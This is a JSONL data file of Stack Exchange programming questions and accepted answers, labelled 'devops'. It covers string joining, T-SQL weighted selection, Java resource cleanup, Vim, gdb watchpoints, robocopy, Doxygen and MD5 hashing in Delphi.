{"id": "hf_bb660dbcb865", "question": "<p>I have wondered for some time, what a nice, clean solution for joining an array of strings might look like.\nExample: I have [\"Alpha\", \"Beta\", \"Gamma\"] and want to join the strings into one, separated by commas – \"Alpha, Beta, Gamma\".</p>\n\n<p>Now I know that most programming languages offer some kind of join method for this. I just wonder how these might be implemented.\nWhen I took introductory courses, I often tried to go it alone, but never found a satisfactory algorithm. Everything seemed rather messy, the problem being that you can not just loop through the array, concatenating the strings, as you would add one too many commas (either before or after the last string).\nI don’t want to check conditions in the loop. I don’t really want to add the first or the last string before/after the loop (I guess this is maybe the best way?).</p>\n\n<p>Can someone show me an elegant solution? Or tell me exactly why there can’t be anything more elegant?</p>\n", "question_body": "", "answer": "The most elegant solution i found for problems like this is something like this (in pseudocode)\n```\n```\nseparator = \"\"\nforeach(item in stringCollection)\n{\n    concatenatedString += separator + item\n    separator = \",\"\n}\n```\n```\nYou just run the loop and only after the second time around the separator is set. So the first time it won't get added. It's not as clean as I'd like it to be so I'd still add comments but it's better than an if statement or adding the first or last item outside the loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.070573"}
{"id": "hf_c48706d433f5", "question": "<p>How do you randomly select a table row in T-SQL based on an applied weight for all candidate rows?</p>\n\n<p>For example, I have a set of rows in a table weighted at 50, 25, and 25 (which adds up to 100 but does not need to), and I want to select one of them randomly with a statistical outcome equivalent to the respective weight.</p>\n", "question_body": "", "answer": "You simply need to sum the weights of all candidate rows, then choose a random point within that sum, then select the record that coordinates with that chosen point (each record is incrementally carrying an accumulating weight sum with it).\n```\n```\nDECLARE @id int, @weight_sum int, @weight_point int\nDECLARE @table TABLE (id int, weight int)\n\nINSERT INTO @table(id, weight) VALUES(1, 50)\nINSERT INTO @table(id, weight) VALUES(2, 25)\nINSERT INTO @table(id, weight) VALUES(3, 25)\n\nSELECT @weight_sum = SUM(weight)\nFROM @table\n\nSELECT @weight_point = ROUND(((@weight_sum - 1) * RAND() + 1), 0)\n\nSELECT TOP 1 @id = t1.id\nFROM @table t1, @table t2\nWHERE t1.id >= t2.id\nGROUP BY t1.id\nHAVING SUM(t2.weight) >= @weight_point\nORDER BY t1.id\n\nSELECT @id\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.094775"}
{"id": "hf_a3a8e12813e3", "question": "<p>Which OS do you prefer to program on? Client or Server</p>\n\n<p>There is a school of though that if you are doing (mostly) web programming (or other server based code), you should use a server OS for your dev machine, since that's closer to the environment where your app will be running.</p>\n\n<p>Update: I should add, this is really directed to the Windows crowd </p>\n", "question_body": "", "answer": "Regardless of the operating system you're actually talking about, it shouldn't matter. Most applications you might write won't need to worry about the differences (if there indeed are any). Only in rare cases might you use some specific functionality that might only be available on a \"server\" edition of your OS.\nThere are other considerations, for example Windows server editions are tuned by default to give less priority and attention to desktop programs, and more attention to things like the file cache. Personally, I would always choose a \"client\" edition of my chosen OS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.118545"}
{"id": "hf_5317b14c2576", "question": "<p>In SEO people talk a lot about Google <a href=\"http://en.wikipedia.org/wiki/PageRank\" rel=\"nofollow noreferrer\">PageRank</a>. It's kind of a catch 22 because until your site is actually big and you don't really need search engines as much, it's unlikely that big sites will link to you and increase your PageRank!</p>\n\n<p>I've been told that it's easiest to simply get a couple high quality links to point to a site to raise it's PageRank. I've also been told that there are certain Open Directories like dmoz.org that Google pays special attention to (since they're human managed links). Can anyone speak to the validity of this or suggest another site/technique to increase a site's PageRank?</p>\n", "question_body": "", "answer": "Have great content\nNothing helps your google rank more than having\ncontent\nor offering a service people are interested in. If your web site is better than the competition and solves a real need you will naturally generate more traffic and inbound links.\nKeep your content fresh\nUse friendly url's that contain keywords\nGood\n:\nhttp://cars.com/products/cars/ford/focus/\nBad\n:\nhttp://cars.com/p?id=1232\nMake sure the page title is relevant and well constructed\nFor example\n: Buy A House In France :. Property Purchasing in France\nUse a domain name that describes your site\nGood\n:\nhttp://cars.com/\nBad\n:\nhttp://somerandomunrelateddomainname.com/\nExample\nType car into Google, out of the top 5 links all 4 have car in the domain:\nhttp://www.google.co.uk/search?q=car\nMake it accessible\nMake sure people can read your content. This includes a variety of different audiences\nPeople with disabilities: Sight, motor, cognitive disabilities etc..\nSearch bots\nIn particular make sure search bots can read every single relevant page on your site. Quite often search bots get blocked by the use of\njavascript\nto link between pages or the use of frames /\nflash\n/\nsilverlight\n. One easy way to do this is have a site map page that gives access to the whole site, dividing it into categories / sub categories etc..\nDown level browsers\nSubmit your site map automatically\nMost search engines allow you to submit a list of pages on your site including when they were last updated.\nGoogle:\nhttps://www.google.com/webmasters/tools/docs/en/about.html\nInbound links\nGenerate as much buzz about your website as possible, to increase the likely hood of people linking to you. Blog / podcast about your website if appropriate. List it in online directories (if appropriate).\nReferences\nGoogle Search Engine Ranking Factors, by an SEO company\nCreating a Google-friendly site: Best practices\nWikipedia - Search engine optimization", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.163578"}
{"id": "hf_e545036c3989", "question": "<p>I am looking for a simple way to get a mime type where the file extension is incorrect or not given, something similar to <a href=\"https://stackoverflow.com/questions/51438/getting-a-files-mime-type-in-java\">this question</a> only in .Net.</p>\n", "question_body": "", "answer": "In Urlmon.dll, there's a function called\n```\nFindMimeFromData\n```\n.\nFrom the documentation\nMIME type detection, or \"data sniffing,\" refers to the process of determining an appropriate MIME type from binary data. The final result depends on a combination of server-supplied MIME type headers, file extension, and/or the data itself. Usually, only the first 256 bytes of data are significant.\nSo, read the first (up to) 256 bytes from the file and pass it to\n```\nFindMimeFromData\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.198553"}
{"id": "hf_0285c670579e", "question": "<p>Is there a way to combine Enums in VB.net?</p>\n", "question_body": "", "answer": "If you taking about using enum flags() there is a good article\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.233788"}
{"id": "hf_3815a89b8119", "question": "<p>I'm creating an installer for a website that uses a custom event log source. I would like our WiX based installer to create that event log source during installation.</p>\n\n<p>Does anyone know the best way to do this using the WiX framework.</p>\n", "question_body": "", "answer": "Wix has out-of-the-box support for creating event log sources.\nAssuming you use Wix 3, you first need to add a reference to WixUtilExtension to either your Votive project or the command line. You can then add an EventSource element under a component :\n```\n```\n<Wix xmlns=\"http://schemas.microsoft.com/wix/2006/wi\"\n    xmlns:util=\"http://schemas.microsoft.com/wix/UtilExtension\">\n\n    <Component ...>\n        ...\n        <util:EventSource Log=\"Application\" Name=\"*source name*\"\n           EventMessageFile=\"*path to message file*\"/>\n        ...\n    </Component>\n```\n```\nIf this is a .NET project, you can use EventLogMessages.dll in the framework directory as the message file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.269180"}
{"id": "hf_6b806b270882", "question": "<p>When trying to enter a SQL query with parameters using the Oracle OLE DB provider I get the following error:</p>\n\n<blockquote>\n  <p>Parameters cannot be extracted from the SQL command. The provider might not help to parse parameter information from the command. In that case, use the \"SQL command from variable\" access mode, in which the entire SQL command is stored in a variable.<br>\n  ADDITIONAL INFORMATION:<br>\n  Provider cannot derive parameter information and SetParameterInfo has not been called. (Microsoft OLE DB Provider for Oracle) </p>\n</blockquote>\n\n<p>I have tried following the suggestion here but don't quite understand what is required:<a href=\"http://microsoftdw.blogspot.com/2005/11/parameterized-queries-against-oracle.html\" rel=\"noreferrer\">Parameterized queries against Oracle</a></p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "To expand on the link given in the question:\nCreate a package variable\nDouble click on the package variable name. (This allows you to access the properties of the variable)\nSet the property 'EvaluateAsExpression' to true\nEnter the query in the expression builder.\nSet the OLE DB source query to SQL Command from Variable\nThe expression builder can dynamically create expressions using variable to create 'parametised queries'.\nSo the following 'normal' query:\n```\n```\nselect * from book where book.BOOK_ID = ?\n```\n```\nCan be written in the expression builder as:\n```\n```\n\"select * from book where book.BOOK_ID = \" + @[User::BookID]\n```\n```\nYou can then do null handling and data conversion using the expression builder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.293326"}
{"id": "hf_f20790086910", "question": "<p>In C++ we acquiring a resource in a constructor and release it in a destructor.</p>\n\n<p>So when an exception rises in a middle of a function there will be no resource leak or locked mutexes or whatever.</p>\n\n<p>AFAIK java classes don't have destructors. So how does one do the resource management in Java.</p>\n\n<p>For example:</p>\n\n<pre><code>public int foo() {    \n    Resource f = new Resource();\n    DoSomething(f);\n    f.Release();\n}\n</code></pre>\n\n<p>How can one release resource if DoSomething throws an exception? We can't put try\\catch blocks all over the code, can we?</p>\n", "question_body": "", "answer": "Yes you can and should put try/catch/finally block around your code. In C# there is a shorthand \"using\" statement, but in Java you are stuck with:\n```\n```\npublic int foo() {\n    Resource f = new Resource();\n    try {\n        DoSomething(f);\n    }\n    finally {\n        f.Release();\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.329494"}
{"id": "hf_8276eb0dc05a", "question": "<p>I'm trying to get only the list of id of object bob for example instead of the list of bob. It's ok with a HQL request, but I would know if it's possible using criteria ?</p>\n\n<p>An example :</p>\n\n<pre><code>final StringBuilder hql = new StringBuilder();\nhql.append( \"select bob.id from \" )\n    .append( bob.class.getName() ).append( \" bob \" )\n    .append( \"where bob.id &gt; 10\");\n\nfinal Query query = session.createQuery( hql.toString() );\nreturn query.list();\n</code></pre>\n", "question_body": "", "answer": "I think you could do that with Projections, something like\n```\n```\nCriteria.forClass(bob.class.getName())\n        .add(Restrictions.gt(\"id\", 10))\n        .setProjection(Projections.property(\"id\"))\n        );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.386121"}
{"id": "hf_f4d3a452ef43", "question": "<p>I have a core dump file from a process that has probably a file descriptor leak (it opens files and sockets but apparently sometimes forgets to close some of them). Is there a way to find out which files and sockets the process had opened before crashing? I can't easily reproduce the crash, so analyzing the core file seems to be the only way to get a hint on the bug.</p>\n", "question_body": "", "answer": "A core dump is a copy of the memory the process had access to when crashed. Depending on how the leak is occurring, it might have lost the reference to the handles, so it may prove to be useless.\nlsof lists all currently open files in the system, you could check its output to find leaked sockets or files. Yes, you'd need to have the process running. You could run it with a specific username to easily discern which are the open files from the process you are debugging.\nI hope somebody else has better information :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.409350"}
{"id": "hf_173556cdc95c", "question": "<p>Selecting a large amount of text that extends over many screens in an IDE like Eclipse is fairly easy since you can use the mouse, but what is the best way to e.g. select and delete multiscreen blocks of text or write e.g. three large methods out to another file and then delete them for testing purposes in Vim when using it via putty/ssh where you cannot use the mouse?</p>\n\n<p>I can easily yank-to-the-end-of-line or yank-to-the-end-of-code-block but if the text extends over many screens, or has lots of blank lines in it, I feel like my hands are tied in Vim. Any solutions?</p>\n\n<p>And a related question: is there a way to somehow select 40 lines, and then comment them all out (with \"#\" or \"//\"), as is common in most IDEs?</p>\n", "question_body": "", "answer": "Use the visual block command v (or V for whole lines and\nC\n-\nV\nfor rectangular blocks). While in visual block mode, you can use any motion commands including search; I use } frequently to skip to the next blank line. Once the block is marked, you can :w it to a file, delete, yank, or whatever. If you execute a command and the visual block goes away, re-select the same block with gv. See :help visual-change for more.\nI think there are language-specific scripts that come with vim that do things like comment out blocks of code in a way that fits your language of choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.431007"}
{"id": "hf_818ee66d8556", "question": "<p>I'm developing a multi-threaded app for a Linux embedded platform.</p>\n\n<p>At the moment I'm setting the stack size for each thread (via pthread_set_attr) to a fairly large default value. I would like to fine tune that value for each thread to something smaller to reduce my application's memory usage. I could go through the trial and error route of setting each thread's stack size to progressively smaller values until the program crashed, but the application uses ~15 threads each with completely different functionality/attributes so that approach would be extremely time consuming.</p>\n\n<p>I would much rather prefer being able to directly measure each thread's stack usage. Is there some utility people can recommend to do this? (For example, I come from a vxWorks background and using the 'ti' command from the vxWorks shell directly gives stats on the stack usage as well as other useful info on the task status.)</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I do not know any good tools but as last resort you could include some code in your application to check it, similar to the following:\n```\n```\n__thread void* stack_start;\n__thread long stack_max_size = 0L;\n\nvoid check_stack_size() {\n  // address of 'nowhere' approximates end of stack\n  char nowhere;\n  void* stack_end = (void*)&nowhere;\n  // may want to double check stack grows downward on your platform\n  long stack_size = (long)stack_start - (long)stack_end;\n  // update max_stack_size for this thread\n  if (stack_size > stack_max_size)\n    stack_max_size = stack_size;\n}\n```\n```\nThe check_stack_size() function would have to be called in some of the functions that are most deeply nested.\nThen as last statement in the thread you could output stack_max_size to somewhere.\nThe stack_start variable would have to be initialized at start of your thread:\n```\n```\nvoid thread_proc() {\n  char nowhere;\n  stack_start = (void*)&nowhere;\n  // do stuff including calls to check_stack_size()\n  // in deeply nested functions\n  // output stack_max_size here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.452471"}
{"id": "hf_77d8adc5a7c6", "question": "<p>I have a classic client/server (fat client and database) program written in Delphi 2006. When certain conditions are met in the client, I need to notify all the other clients very quickly. Up until now this has been done using UDP broadcasts, but this is no longer viable as clients now connect from outside the LAN and the UDP broadcast is limited to the local network. </p>\n\n<p>I'm aware of the Indy libraries but am not really sure of which components to use and how to structure it. I'm guessing I'll need to have a server that the clients connect to which will receive and distribute the messages...? Any samples out there to get me started?</p>\n\n<p>Are there any other component sets or technologies I should look at instead/as well?</p>\n", "question_body": "", "answer": "You should be able to use Multicast UDP for the same purpose. The only difference will be to join the multicast group from every client.\nhttp://en.wikipedia.org/wiki/IP_Multicast\nhttp://en.wikipedia.org/wiki/Internet_Group_Management_Protocol\nEdit:\nJust to clarify, multicast let you join a given \"group\" associated to a multicast ip address. Any packet sent to that address will reach every client who has join the group", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.475802"}
{"id": "hf_97bd788cb5c7", "question": "<p>How do I create a button control (with <code>CreateWindow</code> of a <code>BUTTON</code> window class) that has a standard system-wide size (especially height) that's consistent with the rest of Windows applications?\nI should of course take DPI into account and probably other settings.</p>\n\n<blockquote>\n  <p><strong>Remark:</strong> Using <code>USE_CW_DEFAULT</code> for width and height results in a 0, 0 size button, so that's not a solution.</p>\n</blockquote>\n", "question_body": "", "answer": "This is what MSDN has to say:\nDesign Specifications and Guidelines - Visual Design: Layout\n.\nThe default size of a button is 50x14 DLUs, which can be calculated to pixels using the examples shown for\nGetDialogBaseUnits\n.\nThe\nMapDialogRect\nfunction seems to do the calculation for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.497478"}
{"id": "hf_b5ef5c53c532", "question": "<p>How do I make an MD5 hash of a string with Delphi?</p>\n", "question_body": "", "answer": "If you want an MD5 digest and have the\nIndy\ncomponents installed, you can do this:\n```\n```\nuses SysUtils, IdGlobal, IdHash, IdHashMessageDigest;\n\nwith TIdHashMessageDigest5.Create do\ntry\n    Result := TIdHash128.AsHex(HashValue('Hello, world'));\nfinally\n    Free;\nend;\n```\n```\nMost popular algorithms are supported in the\nDelphi Cryptography Package\n:\nHaval\nMD4, MD5\nRipeMD-128, RipeMD-160\nSHA-1, SHA-256, SHA-384, SHA-512,\nTiger\nUpdate\n```\nDCPCrypt\n```\nis now maintained by\nWarren Postma\nand source can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.521738"}
{"id": "hf_058b4a0e86c9", "question": "<p>I like Doxygen to create documentation of C or PHP code. I have an upcoming Python project and I think I remember that Python doesn't have <code>/* .. */</code> comments, and also has its own self-documentation facility which seems to be the pythonic way to document.</p>\n<p>Since I'm familiar with Doxygen, how can I use it to produce my Python documentation? Is there anything in particular that I need to be aware of?</p>\n", "question_body": "", "answer": "This is\ndocumented on the doxygen website\n, but to summarize here:\nYou can use doxygen to document your Python code. You can either use the Python documentation string syntax:\n```\n```\n\"\"\"@package docstring\nDocumentation for this module.\n\nMore details.\n\"\"\"\n\ndef func():\n    \"\"\"Documentation for a function.\n\n    More details.\n    \"\"\"\n    pass\n```\n```\nIn which case the comments will be extracted by doxygen, but you won't be able to use any of the\nspecial doxygen commands\n.\nOr\nyou can (similar to C-style languages under doxygen) double up the comment marker (\n```\n#\n```\n) on the first line before the member:\n```\n```\n## @package pyexample\n#  Documentation for this module.\n#\n#  More details.\n\n## Documentation for a function.\n#\n#  More details.\ndef func():\n    pass\n```\n```\nIn that case, you can use the special doxygen commands. There's no particular Python output mode, but you can apparently improve the results by setting\n```\nOPTMIZE_OUTPUT_JAVA\n```\nto\n```\nYES\n```\n.\nHonestly, I'm a little surprised at the difference - it seems like once doxygen can detect the comments in ## blocks or \"\"\" blocks, most of the work would be done and you'd be able to use the special commands in either case. Maybe they expect people using \"\"\" to adhere to more Pythonic documentation practices and that would interfere with the special doxygen commands?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.545644"}
{"id": "hf_d48bbd5cc2a3", "question": "<p>I have written some code in my VB.NET application to send an HTML e-mail (in this case, a lost password reminder).</p>\n\n<p>When I test the e-mail, it gets eaten by my spam filter.  One of the things that it's scoring badly on is because of the following problem:</p>\n\n<pre>MIME_QP_LONG_LINE  RAW: Quoted-printable line longer than 76 chars</pre>\n\n<p>I've been through the source of the e-mail, and I've broken each line longer than 76 characters into two lines with a CR+LF in between, but that hasn't fixed the problem.</p>\n\n<p>Can anyone point me in the right direction?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Quoted printable expands 8 bit characters to \"={HEX-Code}\", thus making the messages longer. Maybe you are just hitting this limit?\nHave you tried to break the message at, say, 70 characters? That should provide space for a couple of characters per line.\nOr you just encode the email with Base64 - all mail client can handle that.\nOr you just set Content-Transfer-Encoding to 8bit and send the data unencoded. I know of no mail server unable to handle 8bit bytes these days.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.569856"}
{"id": "hf_6749b9b1eeef", "question": "<p>I would like to write a small program in C# which goes through my jpeg photos and, for example, sorts them into dated folders (using MY dating conventions, dammit...). </p>\n\n<p>Does anyone know a relatively easy way to get at the EXIF data such as Date And Time or Exposure programatically?\nThanks!</p>\n", "question_body": "", "answer": "Getting EXIF data from a JPEG image involves:\nSeeking to the JPEG markers which mentions the beginning of the EXIF data,. e.g. normally oxFFE1 is the marker inserted while encoding EXIF data, which is a APPlication segment, where EXIF data goes.\nParse all the data from say 0xFFE1 to 0xFFE2 . This data would be stream of bytes, in the JPEG encoded file.\nASCII equivalent of these bytes would contain various information related to Image Date, Camera Model Name, Exposure etc...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.617491"}
{"id": "hf_7fe5b8bcc526", "question": "<p>The situation: I have a pieceofcrapuous laptop. One of the things that make it pieceofcrapuous is that the battery is dead, and the power cable pulls out of the back with little effort.</p>\n\n<p>I recently received a non-pieceofcrapuous laptop, and I am in the process of copying everything from old to new. I'm trying to xcopy c:*.* from the old machine to an external hard drive, but because the cord pulls out so frequently, the xcopy is interrupted fairly often.</p>\n\n<p>What I need is a switch in XCopy that will copy eveything except for files that already exist in the destination folder -- the exact opposite of the behavior of the /U switch. </p>\n\n<p>Does anyone know of a way to do this? </p>\n", "question_body": "", "answer": "I find RoboCopy is a good alternative to xcopy. It supports high latency connections much better and supports resuming a copy.\nReferences\nWikipedia - robocopy\nDownloads\nEdit\nRobocopy was introduced as a standard feature of Windows Vista and Windows Server 2008.\nRobocopy is shipped as part of the Windows Server 2003 resource kit and can be download from the\nMicrosoft download site\n.\nA very simple GUI has also been release for RoboCopy on technet\nhttp://technet.microsoft.com/en-us/magazine/cc160891.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.700661"}
{"id": "hf_8aa3aa999dbf", "question": "<p>I want to copy the entire contents of a directory from one location to another in C#.</p>\n\n<p>There doesn't appear to be a way to do this using <code>System.IO</code> classes without lots of recursion.</p>\n\n<p>There is a method in VB that we can use if we add a reference to <code>Microsoft.VisualBasic</code>:</p>\n\n<pre><code>new Microsoft.VisualBasic.Devices.Computer().\n    FileSystem.CopyDirectory( sourceFolder, outputFolder );\n</code></pre>\n\n<p>This seems like a rather ugly hack. Is there a better way?</p>\n", "question_body": "", "answer": "Or, if you want to go the hard way, add a reference to your project for Microsoft.VisualBasic and then use the following:\n```\n```\nMicrosoft.VisualBasic.FileIO.FileSystem.CopyDirectory(fromDirectory, toDirectory);\n```\n```\nHowever, using one of the recursive functions is a better way to go since it won't have to load the VB dll.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.804848"}
{"id": "hf_5388e81a540d", "question": "<p>I need to copy files using Windows command-line (available on XP Pro or later by default) and show progress during the process.</p>\n\n<p>The progress indicator could be in a terminal or a GUI window. It is intended to be used during batch file scripting.</p>\n", "question_body": "", "answer": "robocopy\n:\nRobocopy\n, or \"Robust File Copy\", is a\ncommand-line\ndirectory and/or file replication\ncommand\n. Robocopy functionally replaces\nXcopy\n, with more options. It has been available as part of the\nWindows Resource Kit\nstarting with Windows NT 4.0, and was first introduced as a standard feature in\nWindows Vista\nand\nWindows Server 2008\n. The command is\n```\nrobocopy\n```\n...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.892663"}
{"id": "hf_4ea6ffebffc2", "question": "<p>How can I get precompiled headers working with GCC?</p>\n<p>I have had no luck in my attempts and I haven't seen many good examples for how to set it up.  I've tried on <a href=\"https://en.wikipedia.org/wiki/Cygwin\" rel=\"nofollow noreferrer\">Cygwin</a> GCC 3.4.4 and using 4.0 on <a href=\"https://en.wikipedia.org/wiki/Ubuntu_%28operating_system%29\" rel=\"nofollow noreferrer\">Ubuntu</a>.</p>\n", "question_body": "", "answer": "I have managed to get precompiled headers working under gcc once in the past, and I recall having problems then as well. The thing to remember is that gcc will ignore the file (header.h.gch or similar) if certain conditions are not met, a list of which can be found on the\ngcc precompiled header documentation page\n.\nGenerally it's safest to have your build system compile the .gch file as a first step, with the same command line options and executable as the rest of your source. This ensures the file is up to date and that there are no subtle differences.\nIt's probably also a good idea to get it working with a contrived example first, just to remove the possibility that your problems are specific to source code in your project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.964085"}
{"id": "hf_d8a3a4884d8a", "question": "<p>I am running an application through gdb and I want to set a breakpoint for any time a specific variable is accessed / changed. Is there a good method for doing this? I would also be interested in other ways to monitor a variable in C/C++ to see if/when it changes.</p>\n", "question_body": "", "answer": "I just tried the following:\n```\n```\n$ cat gdbtest.c\n int abc = 43;\n\n int main()\n {\n   abc = 10;\n }\n $ gcc -g -o gdbtest gdbtest.c\n $ gdb gdbtest\n ...\n (gdb) watch abc\n Hardware watchpoint 1: abc\n (gdb) r\n Starting program: /home/mweerden/gdbtest \n ...\n\n Old value = 43\n New value = 10\n main () at gdbtest.c:6\n 6       }\n (gdb) quit\n```\n```\nSo it seems possible, but you do appear to need some hardware support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:07.988059"}
{"id": "hf_81cecaa0c2d9", "question": "<p>Suppose I have a table called Companies that has a DepartmentID column. There's also a Departaments table that has as EmployeeID column. Of course I have an Employee table as well. The problem is that I want to delete a company, so first i have to delete all the employees for every departament and then all the departaments in the company.\nCascade Delete is not an option, therefore i wish to use nested transactions. I'm new to SQL so I would appreciate your help.</p>\n", "question_body": "", "answer": "I'm not answering your question, but foreign Keys\nis\nthe way to go, why is it not an option?\nAs for nested transactions they are:\n```\n```\nBEGIN\n  delete from Employee where departmentId = 1;\n  BEGIN\n     delete from Department where companyId = 2;\n     BEGIN\n        delete from Company where companyId = 2;\n     END\n  END\nEND\n```\n```\nProgrammatically it looks different of course, but that'd depend on the platform you are using", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.073719"}
{"id": "hf_974fcfafe1ab", "question": "<p>I have any ASP.NET control.  I want the HTML string how to do I get the HTML string of the control?</p>\n", "question_body": "", "answer": "This appears to work.\n```\n```\npublic string RenderControlToHtml(Control ControlToRender)\n{\n    System.Text.StringBuilder sb = new System.Text.StringBuilder();\n    System.IO.StringWriter stWriter = new System.IO.StringWriter(sb);\n    System.Web.UI.HtmlTextWriter htmlWriter = new System.Web.UI.HtmlTextWriter(stWriter);\n    ControlToRender.RenderControl(htmlWriter);\n    return sb.ToString();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:08.098689"}
